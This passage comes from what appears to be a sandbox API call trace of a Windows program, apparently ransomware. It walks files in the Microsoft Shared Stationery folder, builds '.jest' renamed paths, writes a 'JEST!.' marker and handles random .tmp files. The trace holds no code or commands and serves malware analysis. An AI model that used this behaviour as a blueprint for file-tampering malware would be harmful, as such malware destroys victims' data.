lpFileName="LDJ7Ci7r81irjJbyHQmyDIyWA UgVo7Z5ApU2IL-kJKXzpA_EUk7tV_ib6 XAErNsdTx4jRCH_A-2fTRRwyU5TIh9R4Os5ROTg.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LDJ7Ci7r81irjJbyHQmyDIyWA UgVo7Z5ApU2IL-kJKXzpA_EUk7tV_ib6 XAErNsdTx4jRCH_A-2fTRRwyU5TIh9R4Os5ROTg.tmp", lpFilePart=0x18e708*="LDJ7Ci7r81irjJbyHQmyDIyWA UgVo7Z5ApU2IL-kJKXzpA_EUk7tV_ib6 XAErNsdTx4jRCH_A-2fTRRwyU5TIh9R4Os5ROTg.tmp") returned 0x8d [0122.581] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm", lpFilePart=0x18e708*="Roses.htm") returned 0x49 [0122.581] GetFullPathNameA (in: lpFileName="LDJ7Ci7r81irjJbyHQmyDIyWA UgVo7Z5ApU2IL-kJKXzpA_EUk7tV_ib6 XAErNsdTx4jRCH_A-2fTRRwyU5TIh9R4Os5ROTg.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LDJ7Ci7r81irjJbyHQmyDIyWA UgVo7Z5ApU2IL-kJKXzpA_EUk7tV_ib6 XAErNsdTx4jRCH_A-2fTRRwyU5TIh9R4Os5ROTg.tmp", lpFilePart=0x18e6e4*="LDJ7Ci7r81irjJbyHQmyDIyWA UgVo7Z5ApU2IL-kJKXzpA_EUk7tV_ib6 XAErNsdTx4jRCH_A-2fTRRwyU5TIh9R4Os5ROTg.tmp") returned 0x8d [0122.581] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LDJ7Ci7r81irjJbyHQmyDIyWA UgVo7Z5ApU2IL-kJKXzpA_EUk7tV_ib6 XAErNsdTx4jRCH_A-2fTRRwyU5TIh9R4Os5ROTg.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x374a444c, cFileName="Ci7r81irjJbyHQmyDIyWA UgVo7Z5ApU2IL-kJKXzpA_EUk7tV_ib6 XAErNsdTx4jRCH_A-2fTRRwyU5TIh9R4Os5ROTg.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0122.581] GetLastError () returned 0x2 [0122.581] GetLastError () returned 0x2 [0122.581] SetLastError (dwErrCode=0x2) [0122.581] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0122.582] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0122.582] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0122.582] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.582] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.582] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.582] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.582] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.583] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpFilePart=0x18e870*="Roses.htm") returned 0x43 [0122.585] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.jest", lpFilePart=0x18e870*="Roses.htm.jest") returned 0x48 [0122.586] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpFilePart=0x18e6d8*="Roses.htm") returned 0x43 [0122.586] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x78, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 0x143ce48 [0122.586] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0122.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0122.587] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpFilePart=0x18e780*="Roses.htm") returned 0x43 [0122.587] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpFilePart=0x18e780*="Roses.htm") returned 0x43 [0122.587] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0122.587] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0xed)) [0122.587] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0xed)) [0122.587] GetUserDefaultLCID () returned 0x409 [0122.588] VarBstrFromR4 (in: fltIn=0x4794439e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.23") returned 0x0 [0122.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="Õ") returned 1 [0122.588] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpFilePart=0x18e780*="Roses.htm") returned 0x43 [0122.588] GetFullPathNameA (in: lpFileName="1wwzp9P7k6uFgSPLmzVivvzhFRWYV8s-MINE3r5gXImjITTikrsmLm3l-dlSgRdAmi5cw-rlSSWEJZKyzHEGnSCruGLqW0-_WDm r.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1wwzp9P7k6uFgSPLmzVivvzhFRWYV8s-MINE3r5gXImjITTikrsmLm3l-dlSgRdAmi5cw-rlSSWEJZKyzHEGnSCruGLqW0-_WDm r.tmp", lpFilePart=0x18e708*="1wwzp9P7k6uFgSPLmzVivvzhFRWYV8s-MINE3r5gXImjITTikrsmLm3l-dlSgRdAmi5cw-rlSSWEJZKyzHEGnSCruGLqW0-_WDm r.tmp") returned 0x8f [0122.589] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpFilePart=0x18e708*="Roses.htm") returned 0x43 [0122.589] GetFullPathNameA (in: lpFileName="1wwzp9P7k6uFgSPLmzVivvzhFRWYV8s-MINE3r5gXImjITTikrsmLm3l-dlSgRdAmi5cw-rlSSWEJZKyzHEGnSCruGLqW0-_WDm r.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1wwzp9P7k6uFgSPLmzVivvzhFRWYV8s-MINE3r5gXImjITTikrsmLm3l-dlSgRdAmi5cw-rlSSWEJZKyzHEGnSCruGLqW0-_WDm r.tmp", lpFilePart=0x18e6e4*="1wwzp9P7k6uFgSPLmzVivvzhFRWYV8s-MINE3r5gXImjITTikrsmLm3l-dlSgRdAmi5cw-rlSSWEJZKyzHEGnSCruGLqW0-_WDm r.tmp") returned 0x8f [0122.589] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1wwzp9P7k6uFgSPLmzVivvzhFRWYV8s-MINE3r5gXImjITTikrsmLm3l-dlSgRdAmi5cw-rlSSWEJZKyzHEGnSCruGLqW0-_WDm r.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x7a777731, cFileName="p9P7k6uFgSPLmzVivvzhFRWYV8s-MINE3r5gXImjITTikrsmLm3l-dlSgRdAmi5cw-rlSSWEJZKyzHEGnSCruGLqW0-_WDm r.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0122.589] GetLastError () returned 0x2 [0122.589] GetLastError () returned 0x2 [0122.589] SetLastError (dwErrCode=0x2) [0122.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0122.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0122.589] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0122.590] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.590] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.590] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.590] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.590] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.590] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", lpFilePart=0x18e870*="Roses.jpg") returned 0x49 [0122.596] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.jest", lpFilePart=0x18e870*="Roses.jpg.jest") returned 0x4e [0122.599] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", lpFilePart=0x18e6d8*="Roses.jpg") returned 0x49 [0122.599] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4222b4c4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4222b4c4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x828fdc7c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x78, dwReserved1=0x56006533, cFileName="Roses.jpg", cAlternateFileName="")) returned 0x143ce48 [0122.599] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0122.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0122.599] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", lpFilePart=0x18e780*="Roses.jpg") returned 0x49 [0122.600] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", lpFilePart=0x18e780*="Roses.jpg") returned 0x49 [0122.600] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0122.600] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0xfd)) [0122.600] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0xfd)) [0122.600] GetUserDefaultLCID () returned 0x409 [0122.600] VarBstrFromR4 (in: fltIn=0x479443a0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.25") returned 0x0 [0122.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="ð") returned 1 [0122.601] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", lpFilePart=0x18e780*="Roses.jpg") returned 0x49 [0122.601] GetFullPathNameA (in: lpFileName="gwLtxNa30X6Vx5AygEVs8xtGsNWDu2-KilclmVVdiW9B4m4d57hn0dmTJ6_V1_TYSnbr-875-ZcdQA8DUaHAelx_5n uIVFbw1Ly.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gwLtxNa30X6Vx5AygEVs8xtGsNWDu2-KilclmVVdiW9B4m4d57hn0dmTJ6_V1_TYSnbr-875-ZcdQA8DUaHAelx_5n uIVFbw1Ly.tmp", lpFilePart=0x18e708*="gwLtxNa30X6Vx5AygEVs8xtGsNWDu2-KilclmVVdiW9B4m4d57hn0dmTJ6_V1_TYSnbr-875-ZcdQA8DUaHAelx_5n uIVFbw1Ly.tmp") returned 0x8e [0122.602] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", lpFilePart=0x18e708*="Roses.jpg") returned 0x49 [0122.602] GetFullPathNameA (in: lpFileName="gwLtxNa30X6Vx5AygEVs8xtGsNWDu2-KilclmVVdiW9B4m4d57hn0dmTJ6_V1_TYSnbr-875-ZcdQA8DUaHAelx_5n uIVFbw1Ly.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gwLtxNa30X6Vx5AygEVs8xtGsNWDu2-KilclmVVdiW9B4m4d57hn0dmTJ6_V1_TYSnbr-875-ZcdQA8DUaHAelx_5n uIVFbw1Ly.tmp", lpFilePart=0x18e6e4*="gwLtxNa30X6Vx5AygEVs8xtGsNWDu2-KilclmVVdiW9B4m4d57hn0dmTJ6_V1_TYSnbr-875-ZcdQA8DUaHAelx_5n uIVFbw1Ly.tmp") returned 0x8e [0122.602] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gwLtxNa30X6Vx5AygEVs8xtGsNWDu2-KilclmVVdiW9B4m4d57hn0dmTJ6_V1_TYSnbr-875-ZcdQA8DUaHAelx_5n uIVFbw1Ly.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x744c7767, cFileName="xNa30X6Vx5AygEVs8xtGsNWDu2-KilclmVVdiW9B4m4d57hn0dmTJ6_V1_TYSnbr-875-ZcdQA8DUaHAelx_5n uIVFbw1Ly.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0122.602] GetLastError () returned 0x2 [0122.602] GetLastError () returned 0x2 [0122.602] SetLastError (dwErrCode=0x2) [0122.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0122.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0122.603] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0122.603] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.603] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.603] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.603] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.603] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.604] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpFilePart=0x18e870*="Roses.jpg") returned 0x43 [0122.609] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.jest", lpFilePart=0x18e870*="Roses.jpg.jest") returned 0x48 [0122.624] GetFileType (hFile=0x4f4) returned 0x1 [0122.624] IMalloc:Alloc (This=0x767666bc, cb=0x85) returned 0x14e3a40 [0122.624] GetUserDefaultLCID () returned 0x409 [0122.624] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x18ea2c, cchData=6 | out: lpLCData="1252") returned 5 [0122.624] SysStringLen (param_1="JEST!.") returned 0x6 [0122.624] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JEST!.", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0122.624] SysStringLen (param_1="JEST!.") returned 0x6 [0122.624] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JEST!.", cchWideChar=7, lpMultiByteStr=0x14aaba4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JEST!.", lpUsedDefaultChar=0x0) returned 7 [0122.630] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpFilePart=0x18e6d8*="Roses.jpg") returned 0x43 [0122.631] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x78, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 0x143ce48 [0122.631] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0122.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0122.633] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpFilePart=0x18e780*="Roses.jpg") returned 0x43 [0122.634] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpFilePart=0x18e780*="Roses.jpg") returned 0x43 [0122.634] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0122.640] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x11c)) [0122.640] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x11c)) [0122.640] GetUserDefaultLCID () returned 0x409 [0122.640] VarBstrFromR4 (in: fltIn=0x479443a4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.28") returned 0x0 [0122.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0122.641] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpFilePart=0x18e780*="Roses.jpg") returned 0x43 [0122.642] GetFullPathNameA (in: lpFileName="IPKCfQ6hQ_0jKVXhDNgHpDCYPXW5ZxMNsDDbR6f_myj-EmvekbUTxHljO6sCNbhwMcR2PlHjzRGE27_IrJDR wkHR FrTddZ_yu5U.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IPKCfQ6hQ_0jKVXhDNgHpDCYPXW5ZxMNsDDbR6f_myj-EmvekbUTxHljO6sCNbhwMcR2PlHjzRGE27_IrJDR wkHR FrTddZ_yu5U.tmp", lpFilePart=0x18e708*="IPKCfQ6hQ_0jKVXhDNgHpDCYPXW5ZxMNsDDbR6f_myj-EmvekbUTxHljO6sCNbhwMcR2PlHjzRGE27_IrJDR wkHR FrTddZ_yu5U.tmp") returned 0x8f [0122.642] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpFilePart=0x18e708*="Roses.jpg") returned 0x43 [0122.643] GetFullPathNameA (in: lpFileName="IPKCfQ6hQ_0jKVXhDNgHpDCYPXW5ZxMNsDDbR6f_myj-EmvekbUTxHljO6sCNbhwMcR2PlHjzRGE27_IrJDR wkHR FrTddZ_yu5U.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IPKCfQ6hQ_0jKVXhDNgHpDCYPXW5ZxMNsDDbR6f_myj-EmvekbUTxHljO6sCNbhwMcR2PlHjzRGE27_IrJDR wkHR FrTddZ_yu5U.tmp", 